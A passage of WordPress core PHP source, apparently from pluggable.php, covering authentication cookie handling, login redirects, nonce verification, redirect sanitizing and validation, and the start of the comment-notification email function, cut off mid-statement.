wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme ); // If ext/hash is not present, compat.php's hash_hmac() does not support sha256. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1'; $hash = hash_hmac( $algo, $username . '|' . $expiration . '|' . $token, $key ); if ( ! hash_equals( $hash, $hmac ) ) { /** * Fires if a bad authentication cookie hash is encountered. * * @since 2.7.0 * * @param string[] $cookie_elements { * Authentication cookie components. None of the components should be assumed * to be valid as they come directly from a client-provided cookie value. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } */ do_action( 'auth_cookie_bad_hash', $cookie_elements ); return false; } $manager = WP_Session_Tokens::get_instance( $user->ID ); if ( ! $manager->verify( $token ) ) { /** * Fires if a bad session token is encountered. * * @since 4.0.0 * * @param string[] $cookie_elements { * Authentication cookie components. None of the components should be assumed * to be valid as they come directly from a client-provided cookie value. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } */ do_action( 'auth_cookie_bad_session_token', $cookie_elements ); return false; } // Ajax/POST grace period set above. if ( $expiration < time() ) { $GLOBALS['login_grace_period'] = 1; } /** * Fires once an authentication cookie has been validated. * * @since 2.7.0 * * @param string[] $cookie_elements { * Authentication cookie components. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } * @param WP_User $user User object. */ do_action( 'auth_cookie_valid', $cookie_elements, $user ); return $user->ID; } endif; if ( ! function_exists( 'wp_generate_auth_cookie' ) ) : /** * Generates authentication cookie contents. * * @since 2.5.0 * @since 4.0.0 The `$token` parameter was added. * * @param int $user_id User ID. * @param int $expiration The time the cookie expires as a UNIX timestamp. * @param string $scheme Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'. * Default 'auth'. * @param string $token User's session token to use for this cookie. * @return string Authentication cookie contents. Empty string if user does not exist. */ function wp_generate_auth_cookie( $user_id, $expiration, $scheme = 'auth', $token = '' ) { $user = get_userdata( $user_id ); if ( ! $user ) { return ''; } if ( ! $token ) { $manager = WP_Session_Tokens::get_instance( $user_id ); $token = $manager->create( $expiration ); } $pass_frag = substr( $user->user_pass, 8, 4 ); $key = wp_hash( $user->user_login . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme ); // If ext/hash is not present, compat.php's hash_hmac() does not support sha256. $algo = function_exists( 'hash' ) ? 'sha256' : 'sha1'; $hash = hash_hmac( $algo, $user->user_login . '|' . $expiration . '|' . $token, $key ); $cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash; /** * Filters the authentication cookie. * * @since 2.5.0 * @since 4.0.0 The `$token` parameter was added. * * @param string $cookie Authentication cookie. * @param int $user_id User ID. * @param int $expiration The time the cookie expires as a UNIX timestamp. * @param string $scheme Cookie scheme used. Accepts 'auth', 'secure_auth', or 'logged_in'. * @param string $token User's session token used. */ return apply_filters( 'auth_cookie', $cookie, $user_id, $expiration, $scheme, $token ); } endif; if ( ! function_exists( 'wp_parse_auth_cookie' ) ) : /** * Parses a cookie into its components. * * @since 2.7.0 * * @param string $cookie Authentication cookie. * @param string $scheme Optional. The cookie scheme to use: 'auth', 'secure_auth', or 'logged_in'. * @return string[]|false { * Authentication cookie components. None of the components should be assumed * to be valid as they come directly from a client-provided cookie value. If * the cookie value is malformed, false is returned. * * @type string $username User's username. * @type string $expiration The time the cookie expires as a UNIX timestamp. * @type string $token User's session token used. * @type string $hmac The security hash for the cookie. * @type string $scheme The cookie scheme to use. * } */ function wp_parse_auth_cookie( $cookie = '', $scheme = '' ) { if ( empty( $cookie ) ) { switch ( $scheme ) { case 'auth': $cookie_name = AUTH_COOKIE; break; case 'secure_auth': $cookie_name = SECURE_AUTH_COOKIE; break; case 'logged_in': $cookie_name = LOGGED_IN_COOKIE; break; default: if ( is_ssl() ) { $cookie_name = SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; } else { $cookie_name = AUTH_COOKIE; $scheme = 'auth'; } } if ( empty( $_COOKIE[ $cookie_name ] ) ) { return false; } $cookie = $_COOKIE[ $cookie_name ]; } $cookie_elements = explode( '|', $cookie ); if ( count( $cookie_elements ) !== 4 ) { return false; } list( $username, $expiration, $token, $hmac ) = $cookie_elements; return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' ); } endif; if ( ! function_exists( 'wp_set_auth_cookie' ) ) : /** * Sets the authentication cookies based on user ID. * * The $remember parameter increases the time that the cookie will be kept. The * default the cookie is kept without remembering is two days. When $remember is * set, the cookies will be kept for 14 days or two weeks. * * @since 2.5.0 * @since 4.3.0 Added the `$token` parameter. * * @param int $user_id User ID. * @param bool $remember Whether to remember the user. * @param bool|string $secure Whether the auth cookie should only be sent over HTTPS. Default is an empty * string which means the value of `is_ssl()` will be used. * @param string $token Optional. User's session token to use for this cookie. */ function wp_set_auth_cookie( $user_id, $remember = false, $secure = '', $token = '' ) { if ( $remember ) { /** * Filters the duration of the authentication cookie expiration period. * * @since 2.8.0 * * @param int $length Duration of the expiration period in seconds. * @param int $user_id User ID. * @param bool $remember Whether to remember the user login. Default false. */ $expiration = time() + apply_filters( 'auth_cookie_expiration', 14 * DAY_IN_SECONDS, $user_id, $remember ); /* * Ensure the browser will continue to send the cookie after the expiration time is reached. * Needed for the login grace period in wp_validate_auth_cookie(). */ $expire = $expiration + ( 12 * HOUR_IN_SECONDS ); } else { /** This filter is documented in wp-includes/pluggable.php */ $expiration = time() + apply_filters( 'auth_cookie_expiration', 2 * DAY_IN_SECONDS, $user_id, $remember ); $expire = 0; } if ( '' === $secure ) { $secure = is_ssl(); } // Front-end cookie is secure when the auth cookie is secure and the site's home URL uses HTTPS. $secure_logged_in_cookie = $secure && 'https' === parse_url( get_option( 'home' ), PHP_URL_SCHEME ); /** * Filters whether the auth cookie should only be sent over HTTPS. * * @since 3.1.0 * * @param bool $secure Whether the cookie should only be sent over HTTPS. * @param int $user_id User ID. */ $secure = apply_filters( 'secure_auth_cookie', $secure, $user_id ); /** * Filters whether the logged in cookie should only be sent over HTTPS. * * @since 3.1.0 * * @param bool $secure_logged_in_cookie Whether the logged in cookie should only be sent over HTTPS. * @param int $user_id User ID. * @param bool $secure Whether the auth cookie should only be sent over HTTPS. */ $secure_logged_in_cookie = apply_filters( 'secure_logged_in_cookie', $secure_logged_in_cookie, $user_id, $secure ); if ( $secure ) { $auth_cookie_name = SECURE_AUTH_COOKIE; $scheme = 'secure_auth'; } else { $auth_cookie_name = AUTH_COOKIE; $scheme = 'auth'; } if ( '' === $token ) { $manager = WP_Session_Tokens::get_instance( $user_id ); $token = $manager->create( $expiration ); } $auth_cookie = wp_generate_auth_cookie( $user_id, $expiration, $scheme, $token ); $logged_in_cookie = wp_generate_auth_cookie( $user_id, $expiration, 'logged_in', $token ); /** * Fires immediately before the authentication cookie is set. * * @since 2.5.0 * @since 4.9.0 The `$token` parameter was added. * * @param string $auth_cookie Authentication cookie value. * @param int $expire The time the login grace period expires as a UNIX timestamp. * Default is 12 hours past the cookie's expiration time. * @param int $expiration The time when the authentication cookie expires as a UNIX timestamp. * Default is 14 days from now. * @param int $user_id User ID. * @param string $scheme Authentication scheme. Values include 'auth' or 'secure_auth'. * @param string $token User's session token to use for this cookie. */ do_action( 'set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme, $token ); /** * Fires immediately before the logged-in authentication cookie is set. * * @since 2.6.0 * @since 4.9.0 The `$token` parameter was added. * * @param string $logged_in_cookie The logged-in cookie value. * @param int $expire The time the login grace period expires as a UNIX timestamp. * Default is 12 hours past the cookie's expiration time. * @param int $expiration The time when the logged-in authentication cookie expires as a UNIX timestamp. * Default is 14 days from now. * @param int $user_id User ID. * @param string $scheme Authentication scheme. Default 'logged_in'. * @param string $token User's session token to use for this cookie. */ do_action( 'set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in', $token ); /** * Allows preventing auth cookies from actually being sent to the client. * * @since 4.7.4 * * @param bool $send Whether to send auth cookies to the client. */ if ( ! apply_filters( 'send_auth_cookies', true ) ) { return; } setcookie( $auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true ); setcookie( $auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true ); setcookie( LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true ); if ( COOKIEPATH != SITECOOKIEPATH ) { setcookie( LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true ); } } endif; if ( ! function_exists( 'wp_clear_auth_cookie' ) ) : /** * Removes all of the cookies associated with authentication. * * @since 2.5.0 */ function wp_clear_auth_cookie() { /** * Fires just before the authentication cookies are cleared. * * @since 2.7.0 */ do_action( 'clear_auth_cookie' ); /** This filter is documented in wp-includes/pluggable.php */ if ( ! apply_filters( 'send_auth_cookies', true ) ) { return; } // Auth cookies. setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN ); setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN ); setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN ); setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN ); setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( LOGGED_IN_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); // Settings cookies. setcookie( 'wp-settings-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH ); setcookie( 'wp-settings-time-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH ); // Old cookies. setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); // Even older cookies. setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN ); // Post password cookie. setcookie( 'wp-postpass_' . COOKIEHASH, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN ); } endif; if ( ! function_exists( 'is_user_logged_in' ) ) : /** * Determines whether the current visitor is a logged in user. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 2.0.0 * * @return bool True if user is logged in, false if not logged in. */ function is_user_logged_in() { $user = wp_get_current_user(); return $user->exists(); } endif; if ( ! function_exists( 'auth_redirect' ) ) : /** * Checks if a user is logged in, if not it redirects them to the login page. * * When this code is called from a page, it checks to see if the user viewing the page is logged in. * If the user is not logged in, they are redirected to the login page. The user is redirected * in such a way that, upon logging in, they will be sent directly to the page they were originally * trying to access. * * @since 1.5.0 */ function auth_redirect() { $secure = ( is_ssl() || force_ssl_admin() ); /** * Filters whether to use a secure authentication redirect. * * @since 3.1.0 * * @param bool $secure Whether to use a secure authentication redirect. Default false. */ $secure = apply_filters( 'secure_auth_redirect', $secure ); // If https is required and request is http, redirect. if ( $secure && ! is_ssl() && false !== strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) ) { if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit; } else { wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); exit; } } /** * Filters the authentication redirect scheme. * * @since 2.9.0 * * @param string $scheme Authentication redirect scheme. Default empty. */ $scheme = apply_filters( 'auth_redirect_scheme', '' ); $user_id = wp_validate_auth_cookie( '', $scheme ); if ( $user_id ) { /** * Fires before the authentication redirect. * * @since 2.8.0 * * @param int $user_id User ID. */ do_action( 'auth_redirect', $user_id ); // If the user wants ssl but the session is not ssl, redirect. if ( ! $secure && get_user_option( 'use_ssl', $user_id ) && false !== strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) ) { if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) { wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) ); exit; } else { wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); exit; } } return; // The cookie is good, so we're done. } // The cookie is no good, so force login. nocache_headers(); $redirect = ( strpos( $_SERVER['REQUEST_URI'], '/options.php' ) && wp_get_referer() ) ? wp_get_referer() : set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] ); $login_url = wp_login_url( $redirect, true ); wp_redirect( $login_url ); exit; } endif; if ( ! function_exists( 'check_admin_referer' ) ) : /** * Ensures intent by verifying that a user was referred from another admin page with the correct security nonce. * * This function ensures the user intends to perform a given action, which helps protect against clickjacking style * attacks. It verifies intent, not authorisation, therefore it does not verify the user's capabilities. This should * be performed with `current_user_can()` or similar. * * If the nonce value is invalid, the function will exit with an "Are You Sure?" style message. * * @since 1.2.0 * @since 2.5.0 The `$query_arg` parameter was added. * * @param int|string $action The nonce action. * @param string $query_arg Optional. Key to check for nonce in `$_REQUEST`. Default '_wpnonce'. * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago, * 2 if the nonce is valid and generated between 12-24 hours ago. * False if the nonce is invalid. */ function check_admin_referer( $action = -1, $query_arg = '_wpnonce' ) { if ( -1 === $action ) { _doing_it_wrong( __FUNCTION__, __( 'You should specify an action to be verified by using the first parameter.' ), '3.2.0' ); } $adminurl = strtolower( admin_url() ); $referer = strtolower( wp_get_referer() ); $result = isset( $_REQUEST[ $query_arg ] ) ? wp_verify_nonce( $_REQUEST[ $query_arg ], $action ) : false; /** * Fires once the admin request has been validated or not. * * @since 1.5.1 * * @param string $action The nonce action. * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between * 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago. */ do_action( 'check_admin_referer', $action, $result ); if ( ! $result && ! ( -1 === $action && strpos( $referer, $adminurl ) === 0 ) ) { wp_nonce_ays( $action ); die(); } return $result; } endif; if ( ! function_exists( 'check_ajax_referer' ) ) : /** * Verifies the Ajax request to prevent processing requests external of the blog. * * @since 2.0.3 * * @param int|string $action Action nonce. * @param false|string $query_arg Optional. Key to check for the nonce in `$_REQUEST` (since 2.5). If false, * `$_REQUEST` values will be evaluated for '_ajax_nonce', and '_wpnonce' * (in that order). Default false. * @param bool $die Optional. Whether to die early when the nonce cannot be verified. * Default true. * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago, * 2 if the nonce is valid and generated between 12-24 hours ago. * False if the nonce is invalid. */ function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) { if ( -1 == $action ) { _doing_it_wrong( __FUNCTION__, __( 'You should specify an action to be verified by using the first parameter.' ), '4.7.0' ); } $nonce = ''; if ( $query_arg && isset( $_REQUEST[ $query_arg ] ) ) { $nonce = $_REQUEST[ $query_arg ]; } elseif ( isset( $_REQUEST['_ajax_nonce'] ) ) { $nonce = $_REQUEST['_ajax_nonce']; } elseif ( isset( $_REQUEST['_wpnonce'] ) ) { $nonce = $_REQUEST['_wpnonce']; } $result = wp_verify_nonce( $nonce, $action ); /** * Fires once the Ajax request has been validated or not. * * @since 2.1.0 * * @param string $action The Ajax nonce action. * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between * 0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago. */ do_action( 'check_ajax_referer', $action, $result ); if ( $die && false === $result ) { if ( wp_doing_ajax() ) { wp_die( -1, 403 ); } else { die( '-1' ); } } return $result; } endif; if ( ! function_exists( 'wp_redirect' ) ) : /** * Redirects to another page. * * Note: wp_redirect() does not exit automatically, and should almost always be * followed by a call to `exit;`: * * wp_redirect( $url ); * exit; * * Exiting can also be selectively manipulated by using wp_redirect() as a conditional * in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_location'} filters: * * if ( wp_redirect( $url ) ) { * exit; * } * * @since 1.5.1 * @since 5.1.0 The `$x_redirect_by` parameter was added. * @since 5.4.0 On invalid status codes, wp_die() is called. * * @global bool $is_IIS * * @param string $location The path or URL to redirect to. * @param int $status Optional. HTTP response status code to use. Default '302' (Moved Temporarily). * @param string $x_redirect_by Optional. The application doing the redirect. Default 'WordPress'. * @return bool False if the redirect was cancelled, true otherwise. */ function wp_redirect( $location, $status = 302, $x_redirect_by = 'WordPress' ) { global $is_IIS; /** * Filters the redirect location. * * @since 2.1.0 * * @param string $location The path or URL to redirect to. * @param int $status The HTTP response status code to use. */ $location = apply_filters( 'wp_redirect', $location, $status ); /** * Filters the redirect HTTP response status code to use. * * @since 2.3.0 * * @param int $status The HTTP response status code to use. * @param string $location The path or URL to redirect to. */ $status = apply_filters( 'wp_redirect_status', $status, $location ); if ( ! $location ) { return false; } if ( $status < 300 || 399 < $status ) { wp_die( __( 'HTTP redirect status code must be a redirection code, 3xx.' ) ); } $location = wp_sanitize_redirect( $location ); if ( ! $is_IIS && 'cgi-fcgi' !== PHP_SAPI ) { status_header( $status ); // This causes problems on IIS and some FastCGI setups. } /** * Filters the X-Redirect-By header. * * Allows applications to identify themselves when they're doing a redirect. * * @since 5.1.0 * * @param string $x_redirect_by The application doing the redirect. * @param int $status Status code to use. * @param string $location The path to redirect to. */ $x_redirect_by = apply_filters( 'x_redirect_by', $x_redirect_by, $status, $location ); if ( is_string( $x_redirect_by ) ) { header( "X-Redirect-By: $x_redirect_by" ); } header( "Location: $location", true, $status ); return true; } endif; if ( ! function_exists( 'wp_sanitize_redirect' ) ) : /** * Sanitizes a URL for use in a redirect. * * @since 2.3.0 * * @param string $location The path to redirect to. * @return string Redirect-sanitized URL. */ function wp_sanitize_redirect( $location ) { // Encode spaces. $location = str_replace( ' ', '%20', $location ); $regex = '/ ( (?: [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx | \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 | [\xE1-\xEC][\x80-\xBF]{2} | \xED[\x80-\x9F][\x80-\xBF] | [\xEE-\xEF][\x80-\xBF]{2} | \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 | [\xF1-\xF3][\x80-\xBF]{3} | \xF4[\x80-\x8F][\x80-\xBF]{2} ){1,40} # ...one or more times )/x'; $location = preg_replace_callback( $regex, '_wp_sanitize_utf8_in_redirect', $location ); $location = preg_replace( '|[^a-z0-9-~+_.?#=&;,/:%!*\[\]()@]|i', '', $location ); $location = wp_kses_no_null( $location ); // Remove %0D and %0A from location. $strip = array( '%0d', '%0a', '%0D', '%0A' ); return _deep_replace( $strip, $location ); } /** * URL encode UTF-8 characters in a URL. * * @ignore * @since 4.2.0 * @access private * * @see wp_sanitize_redirect() * * @param array $matches RegEx matches against the redirect location. * @return string URL-encoded version of the first RegEx match. */ function _wp_sanitize_utf8_in_redirect( $matches ) { return urlencode( $matches[0] ); } endif; if ( ! function_exists( 'wp_safe_redirect' ) ) : /** * Performs a safe (local) redirect, using wp_redirect(). * * Checks whether the $location is using an allowed host, if it has an absolute * path. A plugin can therefore set or remove allowed host(s) to or from the * list. * * If the host is not allowed, then the redirect defaults to wp-admin on the siteurl * instead. This prevents malicious redirects which redirect to another host, * but only used in a few places. * * Note: wp_safe_redirect() does not exit automatically, and should almost always be * followed by a call to `exit;`: * * wp_safe_redirect( $url ); * exit; * * Exiting can also be selectively manipulated by using wp_safe_redirect() as a conditional * in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_location'} filters: * * if ( wp_safe_redirect( $url ) ) { * exit; * } * * @since 2.3.0 * @since 5.1.0 The return value from wp_redirect() is now passed on, and the `$x_redirect_by` parameter was added. * * @param string $location The path or URL to redirect to. * @param int $status Optional. HTTP response status code to use. Default '302' (Moved Temporarily). * @param string $x_redirect_by Optional. The application doing the redirect. Default 'WordPress'. * @return bool False if the redirect was cancelled, true otherwise. */ function wp_safe_redirect( $location, $status = 302, $x_redirect_by = 'WordPress' ) { // Need to look at the URL the way it will end up in wp_redirect(). $location = wp_sanitize_redirect( $location ); /** * Filters the redirect fallback URL for when the provided redirect is not safe (local). * * @since 4.3.0 * * @param string $fallback_url The fallback URL to use by default. * @param int $status The HTTP response status code to use. */ $location = wp_validate_redirect( $location, apply_filters( 'wp_safe_redirect_fallback', admin_url(), $status ) ); return wp_redirect( $location, $status, $x_redirect_by ); } endif; if ( ! function_exists( 'wp_validate_redirect' ) ) : /** * Validates a URL for use in a redirect. * * Checks whether the $location is using an allowed host, if it has an absolute * path. A plugin can therefore set or remove allowed host(s) to or from the * list. * * If the host is not allowed, then the redirect is to $default supplied * * @since 2.8.1 * * @param string $location The redirect to validate * @param string $default The value to return if $location is not allowed * @return string redirect-sanitized URL */ function wp_validate_redirect( $location, $default = '' ) { $location = wp_sanitize_redirect( trim( $location, " \t\n\r\0\x08\x0B" ) ); // Browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'. if ( '//' === substr( $location, 0, 2 ) ) { $location = 'http:' . $location; } // In PHP 5 parse_url() may fail if the URL query part contains 'http://'. // See https://bugs.php.net/bug.php?id=38143 $cut = strpos( $location, '?' ); $test = $cut ? substr( $location, 0, $cut ) : $location; $lp = parse_url( $test ); // Give up if malformed URL. if ( false === $lp ) { return $default; } // Allow only 'http' and 'https' schemes. No 'data:', etc. if ( isset( $lp['scheme'] ) && ! ( 'http' === $lp['scheme'] || 'https' === $lp['scheme'] ) ) { return $default; } if ( ! isset( $lp['host'] ) && ! empty( $lp['path'] ) && '/' !== $lp['path'][0] ) { $path = ''; if ( ! empty( $_SERVER['REQUEST_URI'] ) ) { $path = dirname( parse_url( 'http://placeholder' . $_SERVER['REQUEST_URI'], PHP_URL_PATH ) . '?' ); $path = wp_normalize_path( $path ); } $location = '/' . ltrim( $path . '/', '/' ) . $location; } // Reject if certain components are set but host is not. // This catches URLs like https:host.com for which parse_url() does not set the host field. if ( ! isset( $lp['host'] ) && ( isset( $lp['scheme'] ) || isset( $lp['user'] ) || isset( $lp['pass'] ) || isset( $lp['port'] ) ) ) { return $default; } // Reject malformed components parse_url() can return on odd inputs. foreach ( array( 'user', 'pass', 'host' ) as $component ) { if ( isset( $lp[ $component ] ) && strpbrk( $lp[ $component ], ':/?#@' ) ) { return $default; } } $wpp = parse_url( home_url() ); /** * Filters the list of allowed hosts to redirect to. * * @since 2.3.0 * * @param string[] $hosts An array of allowed host names. * @param string $host The host name of the redirect destination; empty string if not set. */ $allowed_hosts = (array) apply_filters( 'allowed_redirect_hosts', array( $wpp['host'] ), isset( $lp['host'] ) ? $lp['host'] : '' ); if ( isset( $lp['host'] ) && ( ! in_array( $lp['host'], $allowed_hosts, true ) && strtolower( $wpp['host'] ) !== $lp['host'] ) ) { $location = $default; } return $location; } endif; if ( ! function_exists( 'wp_notify_postauthor' ) ) : /** * Notify an author (and/or others) of a comment/trackback/pingback on a post. * * @since 1.0.0 * * @param int|WP_Comment $comment_id Comment ID or WP_Comment object. * @param string $deprecated Not used * @return bool True on completion. False if no email addresses were specified. */ function wp_notify_postauthor( $comment_id, $deprecated = null ) { if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '3.8.0' ); } $comment = get_comment( $comment_id ); if ( empty( $comment ) || empty( $comment->comment_post_ID ) ) { return false; } $post = get_post( $comment->comment_post_ID ); $author = get_userdata( $post->post_author ); // Who to notify? By default, just the post author, but others can be added. $emails = array(); if ( $author ) { $emails[] = $author->user_email; } /** * Filters the list of email addresses to receive a comment notification. * * By default, only post authors are notified of comments. This filter allows * others to be added. * * @since 3.7.0 * * @param string[] $emails An array of email addresses to receive a comment notification. * @param string $comment_id The comment ID as a numeric string. */ $emails = apply_filters( 'comment_notification_recipients', $emails, $comment->comment_ID ); $emails = array_filter( $emails ); // If there are no addresses to send the comment to, bail. if ( ! count( $emails ) ) { return false; } // Facilitate unsetting below without knowing the keys. $emails = array_flip( $emails ); /** * Filters whether to notify comment authors of their comments on their own posts. * * By default, comment authors aren't notified of their comments on their own * posts. This filter allows you to override that. * * @since 3.8.0 * * @param bool $notify Whether to notify the post author of their own comment. * Default false. * @param string $comment_id The comment ID as a numeric string. */ $notify_author = apply_filters( 'comment_notification_notify_author', false, $comment->comment_ID ); // The comment was left by the author. if ( $author && ! $notify_author && $comment->user_id == $post->post_author ) { unset( $emails[ $author->user_email ] ); } // The author moderated a comment on their own post. if ( $author && ! $notify_author && get_current_user_id() == $post->post_author ) { unset( $emails[ $author->user_email ] ); } // The post author is no longer a member of the blog. if ( $author && ! $notify_author && ! user_can( $post->post_author, 'read_post', $post->ID ) ) { unset( $emails[ $author->user_email ] ); } // If there's no email to send the comment to, bail, otherwise flip array back around for use below. if ( ! count( $emails ) ) { return false; } else { $emails = array_flip( $emails ); } $switched_locale = switch_to_locale( get_locale() ); $comment_author_domain = ''; if ( WP_Http::is_ip_address( $comment->comment_author_IP ) ) { $comment_author_domain = gethostbyaddr( $comment->comment_author_IP ); } // The blogname option is escaped with esc_html() on the way into the database in sanitize_option(). // We want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $comment_content = wp_specialchars_decode( $comment->comment_content ); switch ( $comment->comment_type ) { case 'trackback': /* translators: %s: Post title. */ $notify_message = sprintf( __( 'New trackback on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */ $notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; /* translators: %s: Comment text. */ $notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n"; $notify_message .= __( 'You can see all trackbacks on this post here:' ) . "\r\n"; /* translators: Trackback notification email subject. 1: Site title, 2: Post title. */ $subject = sprintf( __( '[%1$s] Trackback: "%2$s"' ), $blogname, $post->post_title ); break; case 'pingback': /* translators: %s: Post title. */ $notify_message = sprintf( __( 'New pingback on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */ $notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; /* translators: %s: Comment text. */ $notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n"; $notify_message .= __( 'You can see all pingbacks on this post here:' ) . "\r\n"; /* translators: Pingback notification email subject. 1: Site title, 2: Post title. */ $subject = sprintf( __( '[%1$s] Pingback: "%2$s"' ), $blogname, $post->post_title ); break; default: // Comments. /* translators: %s: Post title. */ $notify_message = sprintf( __( 'New comment on your post "%s"' ), $post->post_title ) . "\r\n"; /* translators: 1: Comment author's name, 2: Comment author's IP address, 3: Comment author's hostname. */ $notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Comment author email. */ $notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; if ( $comment->comment_parent && user_can( $post->post_author, 'edit_comment', $comment->comment_parent ) ) { /* translators: Comment moderation. %s: Parent comment edit URL. */ $notify_message .= sprintf( __( 'In reply to: %s' ), admin_url( "comment.php?action=editcomment&c={$comment->comment_parent}#wpbody-content" ) ) . "\r\n"; } /* translators: %s: Comment text. */ $notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n"; $notify_message .= __( 'You can see all comments on this post here:' ) . "\r\n"; /* translators: Comment notification email subject. 1: Site title, 2: Post title. */ $subject = sprintf( __( '[%1$s] Comment: "%2$s"' ), $blogname, $post->post_title ); break; } $notify_message .= get_permalink( 